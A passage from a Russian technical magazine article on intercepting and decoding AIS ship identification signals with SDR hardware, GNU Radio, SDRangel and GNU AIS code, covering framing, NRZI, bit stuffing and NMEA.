зует ся для переда чи корот ких сооб щений. ITDMA исполь зует ся для анон- 
сирова ния изме нений в переда че.

Êëàññ Á
В устрой ствах клас са Б мож но заметить CS и SO, это два раз ных типа,
которые рас шифро выва ются как Carrier Sense и Self Organising соот ветс твен- 
но. CS могут исполь зовать толь ко CSTDMA, а SO исполь зуют схе мы дос тупа
клас са А, но с некото рыми огра ниче ниями в мощ ностях.

Íàçåìíûå ñòàíöèè
На зем ные стан ции исполь зуют FATDMA и RATDMA. Сло ты FATDMA нас тра- 
ивают ся отдель но и переда ются дру гим при емни кам с помощью анон сов.
RATDMA исполь зует ся для переда чи корот ких непери оди чес ких сооб щений.

ATON
ATON работа ют с FATDMA и RATDMA, в зависи мос ти от началь ной кон фигура- 
ции устрой ства. ATON пер вого типа работа ют толь ко с FATDMA. Такая схе ма
дос тупа тре бует наличия рядом назем ной стан ции, которая будет анон- 
сировать сло ты для ATON. ATON треть его типа может как при нимать, так
и переда вать дан ные, так что для переда чи дан ных подой дет RATDMA
или FATDMA.

SART
Спа сатель ные передат чики SART исполь зуют толь ко PATDMA.

ÔÎÐÌÀÒÛ È ÊÎÄÈÐÎÂÀÍÈÅ ÑÈÃÍÀËÎÂ

Про сло ты мы уже погово рили, теперь необ ходимо опре делить ся с фор матом
и типами сооб щений в AIS. Для начала отме чу, что дли тель ность каж дого сло- 
та в переда че — 26,66 мс. Мож но опре делить мак сималь ную дли ну сооб- 
щения для ско рос ти 9600 бит/с.

При округле нии получа ем ров но 256 бит информа ции на каж дый слот.
Но сооб щения на самом деле могут быть длин нее и занимать до пяти сло тов,
в таком слу чае флаг окон чания будет передан толь ко через вре мя, которое
будет боль ше 26,66. Перед отправ кой такого боль шого сооб щения передат- 
чик дол жен сооб щить о нем.

Пе рей дем непос редс твен но к фор мату сооб щения. Оно модули рует ся
в GMSK, а зна чит, при демоду ляции мы получа ем пос ледова тель ность
битовых дан ных. Это не слу чай ная пос ледова тель ность.

Фор мат сооб щения AIS

Раз берем поля основно го сооб щения и дан ных.
 — ста били зация передат чика и отсче тов.• Ramp Up

 — пре амбу ла сооб щения, которая необ ходима для опре деле- 

ния начала. Это пос ледова тель ность битов, которая оди нако ва для каж дой
переда чи. В бес конеч ном потоке нулей и еди ниц помога ет най ти начало
сооб щений.

• Preamble

 — начало дан ных, флаг, который ука зыва ет, что даль ше
находят ся дан ные.

• Start Flag

 — дан ные сооб щения.• Data Message

 — про вер ка целос тнос ти сооб щения, его хеш.• FCS

 — конец дан ных, ука зыва ет, что даль ше дан ных нет.• End Flag

 — исполь зует ся для NRZI, битовых вста вок, син хро низа ции при- 

емни ков и дру гих внут ренних обра боток.

• Buffer

Важ но упо мянуть, что AIS работа ет с кад рами про токо ла HDLC (High-Level
Data Link Control). Это про токол каналь ного уров ня сетевой модели OSI.

Фор мат HDLC работа ет с фла гами «стоп» и «старт», и у них есть спе циаль- 
ные пос ледова тель нос ти. Нап ример, 01111110 — это сиг налы «старт» и «стоп».
Но что, если такая пос ледова тель ность встре тит ся в самих дан ных AIS? Что бы
это го избе жать, пос ле пяти еди ниц встав ляют один ноль, что поз воля ет
разор вать такие пос ледова тель нос ти. Так как NRZI — это осно ва переда чи
в AIS, раз берем ся с ним под робнее.

NRZI
NRZI (Non Return to Zero Invertive) — спо соб кодиро вания дан ных для переда- 
чи через канал. Битовая пос ледова тель ность прев раща ется в код, в котором
не будет длин ных непере ходя щих сиг налов, нап ример десяти еди ниц
или нулей под ряд. Это необ ходимо для того, что бы при емник всег да
понимал, ког да изме няет ся сиг нал, и кор рек тно мог при нять любое сооб- 
щение, не сби ваясь. Как работа ет NRZI, вид но на сле дующей кар тинке.

Ко диро вание NRZI

Ес ли обоб щить кодиро вание, то получа ется сле дующее пра вило: логичес кая
еди ница пред став ляет ся изме нени ем уров ня сиг нала, а логичес кий ноль
пред став ляет ся отсутс тви ем изме нения уров ня сиг нала.

Возь мем прос той сиг нал с кар тинки: 0101. Для его кодиро вания в NRZI
необ ходимо начать с самого начала. Пер вый у нас 0, зна чит, в NRZI-кодиро- 
вании это будет низ кий уро вень сиг нала, так как изме нения нет. Даль ше
идет 1, уро вень сиг нала NRZI уже высокий, так как про изош ло изме нение.
Затем идет 0, и уро вень сиг нала остался высоким, так как сле дующий сим вол
ока зал ся 0, а изме нения тре бует толь ко еди ница. Ну и пос ледний сим вол —
1 тре бует изме нения сиг нала, поэто му в кон це будет низ кий уро вень.

На при мере кода 11111 вид но, что сиг нал всег да изме няет ся, так как еди- 
ница всег да тре бует изме нения сиг нала. Декоди ровать NRZI мож но, срав- 
нивая прош лое и текущее сос тояние сиг нала. Важ но учесть, что
перед отправ лени ем пакета AIS он весь кодиру ется с помощью NRZI, даже
пре амбу ла.

Ал горитм декоди рова ния NRZI мож но про ана лизи ровать в коде GNU AIS,
там показан самый при митив ный и эффектив ный вари ант.

        for (i = 0; i < len; i++) {
         out = filtered[i];
           curr = (out > 0);

              if ((curr ^ rx->prev) == 1) { // Детектирование пересечения 
нуля

                 if (rx->pll < (0x10000 / 2)) {
                   rx->pll += rx->pllinc / INC;

             } else {
                   rx->pll -= rx->pllinc / INC;

           }
       }

         rx->prev = curr;

         rx->pll += rx->pllinc;

           if (rx->pll > 0xffff) {
           /* slice */

               bit = (out > 0);
           /* nrzi decode */

               b = !(bit ^ rx->lastbit);
           /* feed to the decoder */

             protodec_decode(&b, 1, rx->decoder);

             rx->lastbit = bit;
             rx->pll &= 0xffff;

       }
   }

Ав торы детек тиру ют пересе чение нуля и декоди руют сооб щение на осно ве
прош лых зна чений. Так же тут учте но нес коль ко осо бен ностей. Если пересе- 
чение нуля про исхо дит рань ше чем 1/2 пери ода сим вола, то пери од в rx->pll
рас ширя ется на 1/16 от пери ода сем пли рова ния, а если слу чает ся наобо рот,
то пери од умень шает ся. Такой алго ритм сам себя подс тра ивает, что доволь- 
но эффектив но.

Bit stuffing
Итак, рань ше упо мина лось, что при переда че дан ных в AIS могут встре тить ся
сис темные пос ледова тель нос ти. Нап ример, в теле сооб щения может
появить ся пос ледова тель ность Stop Flag, которая озна чает конец переда чи,
но на самом деле ею не явля ется. Что бы избе жать таких проб лем, была раз- 
работа на сис тема, которая добав ляет нули в спе циаль ные мес та сооб щения,
тем самым сби вая пос ледова тель нос ти еди ниц. Выг лядит это сле дующим
обра зом: если в битовом потоке будет боль ше пяти еди ниц, то пос ле них дол-
жен быть добав лен ноль.

0011111101011 — исходные данные 
0011111[0]101011 — данные с bit stuffing 

Как вид но в при мере, ноль разор вал неп рерыв ные еди ницы. Как работа ют
декоде ры с bit stuffing, мож но так же изу чить на при мере исходно го кода GNU
AIS.

 case ST_DATA:
             if (d->bitstuff) {

                   if (in[i] == 1) {
                     d->state = ST_STOPSIGN;
                     d->ndata = 0;

                    DBG(printf("%d", in[i]));
                     d->bitstuff = 0;

                 } else {
                   d->ndata++;

                     d->last = in[i];
                     d->bitstuff = 0;

               }
             } else {

                       if (in[i] == d->last && in[i] == 1) {
                   d->antallenner++;
                   // Если на счетчике уже 4 (5), то выставляем 
bitstuff в 1

                       if (d->antallenner == 4) {
                         d->bitstuff = 1;

                         d->antallenner = 0;
                   }

                } else
                     d->antallenner = 0;

                DBG(printf("%d", in[i]));

                 d->buffer[d->bufferpos] = in[i];
               d->bufferpos++;
               d->ndata++;

                   if (d->bufferpos >= 449) {
                   protodec_reset(d);
               }
           }
           break;

Тут обра баты вает ся два вари анта: в пер вом слу чае пос ледова тель ность еди- 
ниц рас ценива ется как обыч ные дан ные, если пос ле пяти еди ниц идет ноль.
В дру гом вари анте если пос ле пяти еди ниц идет еди ница, то пос ледова тель- 
ность счи тает ся стоп-фла гом и чте ние фрей ма оста нав лива ется.

NMEA è ôîðìàò ïåðåäà÷è
Сис темы AIS могут переда вать дан ные как внут ри кораб ля, нап ример от дат- 
чика к глав ной сис теме, так и меж ду кораб лями и дру гими объ екта ми. Дан ные
от при емни ка AIS и от дат чиков кораб ля переда ются в фор мате NMEA 0183,
это стан дарт свя зи для мор ско го обо рудо вания. Дан ные в этом фор мате
мож но получить, под клю чив шись к тер миналу AIS. Важ но заметить, что этот
фор мат не исполь зует ся в переда че, при при еме при емник кон верти рует
бинар ные дан ные в NMEA.

Дан ные в таком фор мате выг лядят сле дующим обра зом:

!AIVDM,1,1,,A,155uT`0000Su4vt>MGIUPH4d08<Q,0*02 

Все сим волы в сооб щении всег да дол жны быть в чита емом диапа зоне. Раз- 
берем фор мат NMEA.

 — тип сооб щения,  — для дан ных, получен ных с дру гого
устрой ства,  — дан ные с дат чиков кораб ля;

• !AIVDM !AIVDM

!AIVDO

 — количес тво дан ных, для некото рых сооб щений нуж но боль ше 1, мак- 
симум 9;

• 1

 — номер сооб щения, если их нес коль ко;• 1

про пуск — иден тифика тор сооб щения, если их нес коль ко;•
 — канал AIS, A или B;• A

 — дан ные AIS в AIS-ASCII6;• 155uT'0000Su4vt>MGIUPH4d08<Q

 — конец дан ных;• 0*

 — чек-сум ма.• 02

Фор мат сооб щения NMEA понятен, но в самом сооб щении NMEA есть и дру- 
гие свой ства, такие как тип сооб щения, иден тифика тор передат чика,
зарезер вирован ные под bit stuffing поля и сос тояние репите ра. Дли на сооб-
щения NMEA тоже может варь иро вать ся. Что бы ты луч ше понял струк туру
сос тавных сооб щений, при веду при мер сооб щений с раз ными номера ми,
но отно сящих ся к одно му пред ложению.

!AIVDM,2,1,1,,59@>k542E5M@CH7?CC@aT4pG:
2222222222222167P9785@e000c@@PPDp888,0*66 
!AIVDM,2,2,1,,8888888880,2*5c 

Как вид но, у этих сооб щений в поле «Количес тво дан ных» сто ит 2, номер
сооб щений раз ный, а иден тифика тор — один, так как они оба отно сят ся
к одно му сооб щению.

По гово рим о том, как рас шифро вать сооб щение NMEA для его обра бот ки.
Выг лядит сооб щение как набор слу чай ных сим волов, но на самом деле оно
закоди рова но с исполь зовани ем AIS-ASCII6. AIS-ASCII6 — это таб лица, где
каж дый сим вол озна чает опре делен ный набор битов.

Таб лица ASCII6

Продолжение статьи →

https://sterva.org/modulations.txt


ЭЙ, НА БОРТУ!
ПЕРЕХВАТЫВАЕМ И РАЗБИРАЕМ

СИГНАЛ AIS — СИСТЕМЫ
ИДЕНТИФИКАЦИИ КОРАБЛЕЙ

GEEK  НАЧАЛО СТАТЬИ←

Пер вый шаг для декоди рова ния — перевод всех сим волов в их бинар ное
пред став ление. Если мы возь мем пер вое сооб щение, то 155 из его начала
мож но пред ста вить как 000001 000101 000101. Пер вые 6 бит сооб щения, то
есть пер вый сим вол, показы вают тип сооб щения, в дан ном слу чае
это 000001 — пер вый тип. Все го извес тно 27 типов сооб щения, все их
перечис лять нет смыс ла, мож но пос мотреть в докумен те на сай те
allaboutais.com ( ). Основные типы — это 1, 2 и 3, которые отве чают
за авто мати чес кую переда чу позиции.

PDF

Сле дом идут 2 бита типа пов тора, то есть сколь ко раз сооб щение будет
пов торять ся. 0 — обыч ное интерваль ное сооб щение, 3 — сооб щение боль ше
не будет пов торять ся. Сле дом — номер MMSI, уни каль ный иден тифика тор
обо рудо вания, по которо му мож но опре делить тип передат чика и дру гие осо- 
бен ности.

Это основные поля, которые всег да есть во всех сооб щени ях. Осталь ные
поля могут менять ся в зависи мос ти от типа сооб щения, ты можешь изу чить их
в докумен тах по AIS. В общем слу чае переда ча тран спон деров клас са А с
дан ными о позиции име ет струк туру, опи сан ную в начале статьи. Эта струк- 
тура исполь зует ся при переда че.

На этом углублять ся в фор маты закон чим и перей дем непос редс твен но
к записи и изу чению реаль ных сиг налов.

MSB è LSB
Пе ред кодиро вани ем и демоду ляци ей погово рим вот об этом пун кте
в докумен тации:

«
»

When data is output on the VHF data link it should be grouped in bytes
of 8 bits from top to bottom of the table associated with each message
in accordance with ISO/IEC 13239:2002. Each byte should be output with
least significant bit first. During the output process, data should be subject
to bit-stuffing (see § 3.2.2) and NRZI coding (see § 2.6).

То есть при при еме дан ных с VHF необ ходимо сгруп пировать дан ные по 8 бит
в бай ты и вывес ти их, начиная с LSB. Раз ница меж ду LSB и MSB хорошо
показа на на сле дующей кар тинке.

LSB и MSB

Сле дова тель но, нуж но кон верти ровать вывод дан ных из MSB в LSB пос ле
при ема и, соот ветс твен но, в MSB из LSB при переда че. Это важ но учи тывать.
Так же мож но най ти инте рес ный код в GNU AIS, который авто ры почему-то
обоз начили как . Этот код как раз и отве чает за кон- 

верта цию MSB в LSB перед про вер кой CRC.

/* what is this? */

   /* what is this? */
          buf = (unsigned char *) hmalloc(sizeof(*buf) * buflen);
           for (j = 0; j < buflen; j++) {

         tmp = 0;
              for (i = 0; i < 8; i++)

                   tmp |= (((d->buffer[i + 8 * j]) << (i)));
        printf("tmp: %d\n", tmp);

         buf[j] = tmp;
   }

   /* ok, here’s the actual CRC calculation */
        unsigned short crc = protodec_sdlc_crc(buf, buflen);
   //DBG(printf("CRC: %04x\n",crc));

   /* what is this? */
     memset(d->rbuffer, 0, DEMOD_BUFFER_LEN);
           for (j = 0; j < length_bytes; j++) {

               for (i = 0; i < 8; i++) {
                 x = j * 8 + i;
               if (x >= DEMOD_BUFFER_LEN) {

                hlog(LOG_ERR, "protodec_calculate_crc: would run 
over rbuffer length");
               hfree(buf);

                return 0;
             } else {

                       d->rbuffer[x] = (buf[j] >> (7 - i)) & 1;
           }
       }
   }

Сна чала в цик ле все груп пиру ется в бай ты, потом, пос ле про вер ки CRC,
обратно в биты уже в нуж ном поряд ке вывода. В мас сиве  уже пра- 

виль ная пос ледова тель ность, которую мож но пар сить по струк туре, опи сан- 
ной выше.

rbuffer

Êîäèðîâàíèå ñèãíàëà
Ос тановим ся на кодиро вании сиг нала, что бы сис темати зиро вать схе му. Пер- 
воначаль но у нас есть какая-то информа ция, далее кодиру ем ее для переда- 
чи и декоди руем пос ле при ема. Общая схе ма кодиро вания таких дан ных
для переда чи AIS выг лядит так: BIN → MSB/LSB → BIT STUFFING → NRZI →
GMSK.

Схе ма для при ема будет сле дующей: GMSK → NRZI → BIT STUFFING →
LSB/MSB → BIN → NMEA.

ÇÀÏÈÑÛÂÀÅÌ ÑÈÃÍÀË

На конец-то пос ле неболь шого лик беза, который, кста ти, еще мож но мно го
чем допол нить, перехо дим к прак тике. Начать сто ит с записи сиг нала,
который мы будем иссле довать. Луч ше все го записы вать сиг нал где-то в бли- 
жай шем пор ту, там мож но получить дан ные не толь ко с кораб лей, но и
с назем ных стан ций. Для записи мож но исполь зовать раз ные средс тва,
начиная от HackRF PortaPack и закан чивая дороги ми SDR. Я исполь зую в сво- 
их экспе римен тах BladeRF, так что все дей ствия будут в основном опи саны
для это го SDR. Мой опыт ты можешь лег ко спро еци ровать на HackRF и RTL-
SDR. Давай соберем в GNU Radio схе му для записи сиг нала с двух каналов
AIS в файл.

Схе ма GNU Radio для записи в файл

Схе ма сос тоит из четырех основных эле мен тов, два из которых отве чают
за вывод информа ции на экран. Начина ется все с Osmocom Source, где
в качес тве аргу мен та переда но , что дает бло ку понять тип

источни ка, в дан ном слу чае это BladeRF. Час тота на нулевом канале выс- 
тавле на в 162 МГц, а ширина канала — в 200 кГц. Час тота сем пли рова ния
(sample rate) в моем слу чае 2 MSPS, минималь ное же зна чение для AIS
находит ся где-то око ло 48 тысяч, но советую брать 1 MSPS как стан дар тное
зна чение.

bladerf=0

Та кие нас трой ки поз воля ют записать сра зу оба канала, в будущем мы раз- 
делим их на два отдель ных фай ла для ана лиза. Блок File Sink отве чает за сох- 
ранение дан ных в файл. Два дру гих бло ка — Frequency Sink и Waterfall Sink —
помога ют понять, вер но ли идет запись сиг нала. При пра виль ной нас трой ке
и хорошей антенне ты дол жен находить сле дующие сиг налы на Waterfall.

Вид Waterfall при записи сиг нала

На изоб ражении вид ны сиг налы сле ва и спра ва от нулевой час тоты, это и есть
наши дан ные AIS с двух каналов. Ког да дан ных наберет ся дос таточ но, оста- 
новить запись мож но будет, зак рыв окно с водопа дом, или же нап рямую
из GNU Radio, нажав кноп ку Stop.

ÄÅÌÎÄÓËßÖÈß

Для демоду ляции и декоди рова ния AIS есть мно жес тво про ектов на GitHub
и на форумах, пос вящен ных радио. Все такие про екты работа ют доволь но
прос то: нуж но либо под клю чить твой SDR, либо запус тить записан ный файл.
Все это не очень инте рес но. В этой статье мы поп робу ем сде лать демоду- 
лятор в GNU Radio, кон верти ровать дан ные из IQ-сиг нала в IQ-файл для GNU
AIS и изу чим, как работа ет SDRangel, на при мере демоду ляции и декоди рова- 
ния AIS.

SDRangel
SDRangel — это прог рамма, соз данная для управле ния SDR-устрой ства ми.
В ней мож но при нимать, демоду лиро вать, декоди ровать, ана лизи ровать
самые раз ные сиг налы. Прог рамма удоб ная и работа ет на всех сис темах.

Ин терфейс SDRangel

Ïðåîáðàçîâàíèå IQ â WAV
Пе ред изу чени ем нашей записи в SDRangel необ ходимо пре обра зовать ее
в фор мат либо WAV, либо SDRIQ. SDRangel работа ет толь ко с эти ми дву мя
фор матами. Самый прос той вари ант — пре обра зовать исходный файл RAW
IQ из GNU Radio в двух каналь ный WAV. В пер вом канале будет реаль ная часть
ком плексно го чис ла, а во вто рой — мни мая. IQ-файл сос тоит толь ко из ком- 
плексных чисел, так что перед сох ранени ем их нуж но раз делить.

Ис поль зуем сле дующую схе му для GNU Radio.

Пре обра зова ние RAW IQ в WAV

Пос ле запус ка дол жен появить ся WAV-файл. В бло ке Wav File Sink нуж но выб- 
рать два канала, так как сох ранять мы собира емся имен но в два канала. Блок
Complex To Float пре обра зует ком плексное чис ло в re и im (реаль ную и мни- 
мую час ти) и переда ет их в каналы WAV-фай ла. Теперь мож но перей ти непос- 
редс твен но к SDRangel.

Äåìîäóëÿöèÿ è äåêîäèðîâàíèå AIS
Для начала работы мож но исполь зовать под готов ленный спе циаль но для AIS
рабочий стол SDRangel. Най ти его мож но на вклад ке Prefereneces →
Congurations → AIS. Опять же это не очень весело и поз наватель но, поэто му
сде лаем все с нуля. Для начала нуж но добавить источник сиг нала. Это дела- 
ется с помощью кноп ки Add RX Device. Далее выбира ем источник File Source
и нажима ем «Добавить».

До бав ление источни ка в SDRangel

Пос ле это го на рабочем прос транс тве появит ся два окна, одно с управле- 
нием источни ков, а вто рое — с его визу али заци ей. Для добав ления нашего
фай ла в источник нажима ем на кноп ку с изоб ражени ем фай ла и выбира ем
WAV-файл. Теперь при запус ке во вто ром окне дол жно появить ся изоб- 
ражение водопа да для нашего фай ла.

Waterfall для источни ка в SDRangel

Те перь к уже готово му источни ку мож но под клю чить демоду лято ры для AIS.
Так как у нас файл с дву мя канала ми, нам нуж но добавить два демоду лято ра
для двух раз ных час тот: один для –25 кГц, вто рой — для +25 кГц. Сде лать
это мож но, нажав кноп ку Add Channels в бло ке, где ты выбирал файл.

Да лее в меню выбира ем AIS Demodulator и так дела ем два раза. На экра не
появят ся два новых экра на, которые мож но раз местить на рабочем прос- 
транс тве как угод но. Пос ле добав ления двух демоду лято ров нуж но нас тро ить
сдвиг час тоты для каж дого. У одно го ста вим -25000, а у вто рого 25000. В ито- 
ге дол жно получить ся что-то сле дующе го вида.

SDRangel — демоду лятор и декодер AIS

Как вид но на скрин шотах, SDRangel уже успешно демоду лиро вал и декоди- 
ровал нес коль ко сооб щений AIS. Так как SDRangel не под держи вает все виды
сооб щений, не мешало бы получить их в сыром виде для даль нейшей обра- 
бот ки. Этим мы и зай мем ся с помощью GNU Radio.

GNU Radio
Са мое инте рес ное, изю мин ка и жем чужина статьи — демоду ляция в GNU
Radio. Без исполь зования допол нитель ного прог рам мно го обес печения,
без готовых демоду лято ров с GitHub и так далее. Толь ко базовые бло ки GNU
Radio!

Èññëåäóåì ñèãíàë
Вспом ним, что в фай ле записа ны сра зу два канала AIS, сле дова тель но, если
мы хотим демоду лиро вать их одновре мен но, нуж но сдви нуть демоду лятор
в две раз ные сто роны, желатель но отфиль тро вать часть шумов. Для таких
манипу ляций в GNU Radio есть блок с наз вани ем Frequency Xlating FIR Filter,
что мож но перевес ти как час тотно-сдви гающий КИХ-филь тр (филь тр с конеч- 
ной импуль сной харак терис тикой). По наз ванию понят но, что этот вид филь- 
тров может и сдви гать, и филь тро вать сиг нал. Так же этот блок может ресем- 
пли ровать сиг нал, нам это необ ходимо.

Да лее нуж но еще более точ но ресем пли ровать сиг нал для точ ной GMSK-
демоду ляции, дела ем это с помощью бло ка Rational Resampler. Нам нуж ны
оба бло ка для ресем пли рова ния, если мы хотим получить слож ное чис ло
сем плов для точ ного GMSK-демоду лиро вания.

Пос ле сдви га и филь тра ции мож но перехо дить непос редс твен но
к демоду ляции, в GNU Radio есть отдель ный блок для GMSK — GMSK Demod,
но для квад ратур ных модуля ций мож но исполь зовать так же Quadrature
Demod. Так как пос ле GMSK у нас будет код NRZI, его тоже мож но сра зу
декоди ровать в GNU Radio, это ста ло воз можно в недав них вер сиях.

Раз берем теперь три основных бло ка: FIR Filter, Rational Resampler и GMSK
Demod.

Frequency Xlating FIR Filter

FIR Filter и его нас трой ки в GNU Radio

В самом филь тре есть пять основных парамет ров:
тип вход ных дан ных;•
де цима ция для ресем пли рова ния;•
taps, или век тор пре обра зова ния;•
сдвиг час тоты;•
час тота сем пли рова ния исходно го сиг нала.•

Ес ли мы хотим исполь зовать этот филь тр не толь ко для сдви га и децима ции,
необ ходимо добавить век тор пре обра зова ния. Зна чение в поле децима ции
исполь зует ся как зна мена тель для ресем пли рова ния. Нап ример, если
исходная час тота сем пли рова ния была 2 000 000, то при зна- 
чении 20 на выходе мы получим 2 000 000/20 = 100 000. В при мере нас трой ки
на скрин шоте цен траль ная час тота сто ит -25e3, что зна чит –25 на 10 в сте- 
пени –3. Это сдвиг на пер вый канал AIS.

Изу чим taps и визу аль ный при мер работы филь тра.

Ра бота FIR-филь тра

На кар тинке вид но, что филь тр сдви гает сиг нал на нулевую час тоту, при этом
филь труя его. Но филь тру ет он очень хит ро — с помощью век тора пре обра- 
зова ния, который в нашем слу чае будет выг лядеть сле дующим обра зом.

     firdes.low_pass(1, samp_rate, 15000, 20000, window.WIN_HAMMING, 1)

Это филь тр ниж них час тот, который выг лядит как вызов фун кции. Для объ- 
ясне ния его работы изу чим его аргу мен ты. Пер вым идет коэф фици ент уси- 
ления; так как уси ливать ничего не нуж но, он ука зан как 1. Далее — час тота
сем пли рова ния в виде перемен ной. Два сле дующих аргу мен та — час тота
сре за и ширина переход ной области, в дан ном слу чае час тоты
ниже 15 000 будут про пус кать ся, а час тоты выше — подав лять ся.

Ши рина переход ной области — это ширина области, в которой филь тр
перехо дит от про пус кания к подав лению. Далее идет окон ная фун кция,
в нашем слу чае это окно Хэм минга. Пос ледний аргу мент не игра ет роли
для Хэм минга, но отве чает за фор му окна для дру гих окон ных фун кций. Окон- 
ные фун кции исполь зуют ся для сгла жива ния спек тров, за счет сгла жива ния
кра ев дан ных при обра бот ке сиг налов.

Rational Resampler

Блок Rational Resampler

Сле дующий важ ный для ресем пли рова ния блок — Rational Resampler. Что бы
получить более точ ную час тоту сем пли рова ния, нап ример если нуж но целое
чис ло выборок на сим вол (как в нашем слу чае), прос тым делени ем иног да
не обой тись. У Rational Resampler есть два парамет ра: интерпо ляция
и децима ция. При ресем пли рова нии сиг нала исходная час тота сем пли рова- 
ния сна чала умно жает ся на интерпо ляцию, а потом делит ся на децима цию.
Таким обра зом мож но вычис лить и подог нать час тоту под наши нуж ды.

GMSK Demod

Блок GMSK Demod

Это глав ный блок, который отве чает непос редс твен но за демоду ляцию и син- 
хро низа цию сиг нала. На самом деле этот блок сос тоит из квад ратур ного
демоду лято ра и син хро низа ции сим волов для вос ста нов ления их пат тернов.
Квад ратур ную демоду ляцию я рас смот рел выше, и мы еще о ней погово рим
при сос тавле нии схе мы для GNU Radio.

Ос новные парамет ры это Samples/Symbol — количес тво выборок на сим- 
вол, имен но под этот параметр мы под гоняли час тоту сем пли рова ния
и параметр Gain Mu, который отве чает за саму демоду ляцию и под бира ется
опыт ным путем. Как вид но, на вхо де у это го бло ка ком плексные чис ла, а на
выходе получа ем уже демоду лиро ван ные биты, которые мож но либо сох- 
ранить в файл, либо обра ботать.

Ñõåìà äëÿ GMSK Demod
Да вай соберем прос тую двух каналь ную схе му для демоду ляции AIS на осно ве
GMSK Demod.

Двух каналь ный демоду лятор для AIS

Схе ма чита ется сле ва нап раво. Началь ный блок File Source чита ет дан ные
из ранее записан ного фай ла. В нас трой ках бло ка я ука зал Repeat: Yes, что бы
файл пов торял ся пос ле кон ца. Далее идет раз деление на два канала,
с помощью КИХ-филь тров. Пер вый филь тр дает сме щение на –25 кГц, а вто- 
рой на +25 кГц. Добав лю, что началь ная час тота сем пли рова ния
была 2 000 000 выборов в секун ду, но пос ле КИХ-филь тров с децима- 
тором 20 она рав на 100 000, так как 2 000 000/20 = 100 000.

Да лее идет ресем плер, наша задача — получить более двух выборок
на сим вол в GMSK-демоду лято ре. Ско рость переда чи дан ных в AIS —
9600 бит/с, то есть для минималь ной работы GMSK-демоду лято ра нам нуж- 
но 9600 * 2 = 19 200 сем плов в секун ду. Для луч шей работы я опи рал ся
на 9600 * 4, то есть 38 400.

Что бы получить такое ров ное чис ло на выходе, нуж но най ти решение урав- 
нения сле дующе го вида:

Продолжение статьи →

http://www.allaboutais.com/jdownloads/Technical%20fundamentals/ais_message_list.pdf
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GEEK  НАЧАЛО СТАТЬИ←

Под став ляя эти коэф фици енты, получим нуж ное количес тво сем плов на сим- 
вол в GMSK Demod. Сам блок GMSK Demod я опыт ным путем нас тро ил
на зна чение 500e-3 для Gain Mu. Если будешь собирать свою схе му, поп- 
робуй зна чения от 300e-3 до 500e-3, пока не нач нет появ лять ся пре амбу ла
и стар товый флаг. Оба эти парамет ра и методы отладки я опи шу ниже.

Пос ле бло ка GMSK Demod в каж дом канале добав лен блок для сох- 
ранения дан ных до декоди рова ния NRZI, потом идет блок декоди рова ния
NRZI и опять сох ранение фай ла. Это было сде лано для ана лиза работы
декоде ра NRZI.

Ìå òîäû îòëàäêè
Так как любая схе ма тре бует отладки, рас смот рим нас трой ку этой схе мы
с исполь зовани ем прос того скрип та на Python и любого тек сто вого редак- 
тора. Для отладки вни матель но перес читыва ем Sample Rate до GMSK Demod
и про веря ем параметр выборок на сим вол в GMSK Demod. Сле дующий
шаг — под бор вер ного зна чения Gain Mu, для это го нуж но нес коль ко раз
демоду лиро вать файл с раз ными зна чени ями от 300e-3 до 500e-3 и изу чить
содер жимое вывода. Так как на выходе получа ется бинар ный файл и искать
по нему в тек сто вом докумен те неудоб но, я раз работал скрипт, кон верти- 
рующий файл в тек сто вый фор мат.

#!/usr/bin/python3

 import argparse

 def read_bits_from_file(file_path):
       with open(file_path, 'rb') as file:

         byte = file.read(1)
        while byte:
              if byte == b'\x00':

                yield 0
              elif byte == b'\x01':

                yield 1
           else:
               exit(1)

             byte = file.read(1)

 def main():
     parser = argparse.ArgumentParser(description='Process a binary 
file')
     parser.add_argument('file_path', type=str, help='Path to the 
binary file')

     args = parser.parse_args()

     bit_stream = read_bits_from_file(args.file_path)

       with open('result_conversion', 'a') as f:
          for bit in bit_stream:

           f.write(str(bit))

   if __name__ == '__main__':
   main()

Пос ле кон верта ции фай ла с демоду лиро ван ными зна чени ями важ но вспом- 
нить струк туру сооб щений в AIS. Важ ные ее ком понен ты — пре амбу ла и стар- 
товый флаг, которые всег да рав ны одно му зна чению. Я рекомен дую исполь- 
зовать имен но пре амбу лу и стар товый флаг вмес те. Из-за того что пре амбу- 
ла — это пос ледова тель ность пов торя ющих ся сим волов, иног да ее мож но
най ти даже в шумах. Итак, пре амбу ла — это 24 бита, выг лядят они вот так:

010101010101010101010101 

Стар товый флаг — 8 бит:

01111110 

Ес ли соеди нить оба этих зна чения, то получим сле дующее зна чение:

01010101010101010101010101111110 

От кры ваем кон верти рован ный файл и пыта емся най ти в поис ке нашу пос- 
ледова тель ность. Если нашел, зна чит, Gain Mu и дру гие парамет ры подоб- 
раны вер но.

Де моду лиро ван ные пос ледова тель нос ти в фай ле

Так же ты можешь кон верти ровать зна чения пре амбу лы из стар тового фла га
в код NRZI онлайн и най ти их в RAW-фай ле, который был соз дан до NRZI-
декоди рова ния.

Çà ïóñ êàåì
Нас тало вре мя запус тить схе му и изу чить вывод. Для это го нажима ем
на кноп ку запус ка в меню GNU Radio и наб люда ем водопад и сам сиг нал.
Фор му сиг нала до и пос ле демоду ляции изу чим в схе ме с квад ратур ным
демоду лято ром, так как у нас в дан ном слу чае нет пол ного кон тро ля демоду- 
ляции.

Пос ле запус ка дол жна появить ся сле дующая кар тинка и фай лы с нашими
дан ными.

Во допад в схе ме с GMSK Demod

Важ но уточ нить, что в этой схе ме нет бло ка Throttle, который замед ляет обра- 
бот ку. Без него сиг нал обра бота ется нам ного быс трее того вре мени, которое
он дол жен был бы идти, так что водопад может обор вать ся быс трее, чем ты
ожи даешь. Что бы это испра вить, добавь блок Throttle пос ле File Source. Схе- 
ма в дан ном слу чае уже отла жена, и мы можем изу чить вывод фай ла, как это
было показа но в при мере с отладкой.

Ты можешь поп робовать рас шифро вать любой фрейм по опи санию выше.
Но для прос той про вер ки мож но исполь зовать тип переда ваемо го сиг нала,
это пер вые 6 бит пос ле стар тового фла га. Даль нейшее декоди рова ние воз- 
можно толь ко пос ле уда ления bit stuffing, а имен но одно го нуля пос ле пяти
еди ниц.

Нуж но уби рать нули до пос ледова тель нос ти кон ца сиг нала (она выг лядит
как стар товый сиг нал). При мер уда ления bit stuffing показан ниже.

Ис ходный сиг нал:

010101010101010101010101011111100010000110001110001010101110100101000
00100000100000001111000000010111111011010101111110 

Пре амбу ла:

010101010101010101010101 

Стар товый флаг:

01111110 

Дан ные и хеш-сум ма:

001100000000010111001000111101101000111100000010000000000000111010111
11[0]11000010011110101011100001010111001000010011011111[0]10100101101
